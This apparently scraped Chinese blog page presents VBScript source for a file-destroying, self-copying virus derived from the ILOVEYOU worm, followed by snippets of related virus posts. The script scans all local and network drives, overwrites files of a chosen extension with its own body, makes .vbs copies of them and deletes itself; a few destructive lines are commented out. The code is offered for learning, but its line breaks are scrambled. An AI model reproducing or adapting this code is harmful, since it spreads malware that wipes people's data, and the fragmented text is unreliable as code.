說明：作者對某些**進行了修改。該檔案是乙個完整的程式。該檔案執行之後，會尋找硬碟上所有滿足條件的檔案，對其進行強制性覆蓋（滿足條件的檔案資料將全部丟失）、並再建立乙個相同檔名但後帶.vbs的檔案。因此，請注意設立好破壞測試條件，千萬不要對他人進行測試，否則，一切後果自負。
dim folder,
fso,
foldername,
f,d,
dc set
fso=
createobject
("scripting.filesystemobject")
set self=
fso.
opentextfile(
wscript.
scriptfullname,1)
vbscopy=
self.
readall '讀取病毒體，以備複製到檔案
self.
close
set dc=
fso.
drives
for each
d in
dc if d.
drivetype=
3 or
d.drivetype=
2 then
'檢查磁碟型別
wscript.
echo d '彈出視窗，顯示找到碟符
scan(d)
end if
next
lsfile=
wscript.
scriptfullname '該指令碼程式路徑
set lsfile=
fso.
getfile(
lsfile)
lsfile.
delete(
true
) '病毒執行後自我刪除(本人自加，愛蟲病毒本身沒有該**）
sub scan(
folder_) on
error
resume
next
setfolder_=
fso.
getfolder(
folder_)
setfiles=
folder_.
files
for each
file in
files
ext=
fso.
getextensionname(
file)
'獲取檔案字尾
ext=
lcase
(ext)
'字尾名轉換成小寫字母
if ext=
"mp5"
then
'如果字尾名是mp5,當然不存在這種檔案，這裡可以自己修改，但是注意。請自己建立相應字尾名的檔案，最好是非正常字尾名
set ap=
fso.
opentextfile(
file.
path,2,
true)
' ap.write vbscopy '覆蓋檔案，慎用
ap.close
set cop=
fso.
getfile(
file.
path)
cop.
copy(
file.
path &
".vbs"
) '建立另外乙個病毒檔案
' file.delete(true) '刪除原來檔案
end if
next
setsubfolders=
folder_.
subfolders
for each
subfolder in
subfolders '搜尋其他目錄
scan(
subfolder)
next
endsub
vbs 病毒學習二 （未測試）
virus code starts here 容錯控制，防止發生異常丟擲而導致程式崩潰 on error resume next 建立檔案系統物件 set fso createobject scripting.filesystemobject 獲得系統資料夾 set sysdir fso.getsp...
巨集與巨集病毒 學習筆記
巨集病毒word巨集病毒 若對巨集或巨集病毒有一定了解可直接跳轉於此 經典巨集病毒 參考文獻 近日，在某個技術 上看到了一篇關於巨集病毒的技術部落格，並且在幾個月前在虛擬機器上做了乙個簡單的巨集病毒實驗，但並未認真研究過其原理，今天忽然有了一點莫名的興致，藉著這個莫名而來的興趣研究了下巨集和巨集病毒...
vbs病毒指令碼
vbs病毒指令碼 2009年11月30日 今天在電腦裡發現了乙個runonce.vbs檔案，在目錄 c documents and settings administrator 開始 選單 程式 啟動 下，看樣子它是打算在我下次開機時執行的，是個什麼東東呢？用記事本將它開啟看到如下 dim objs...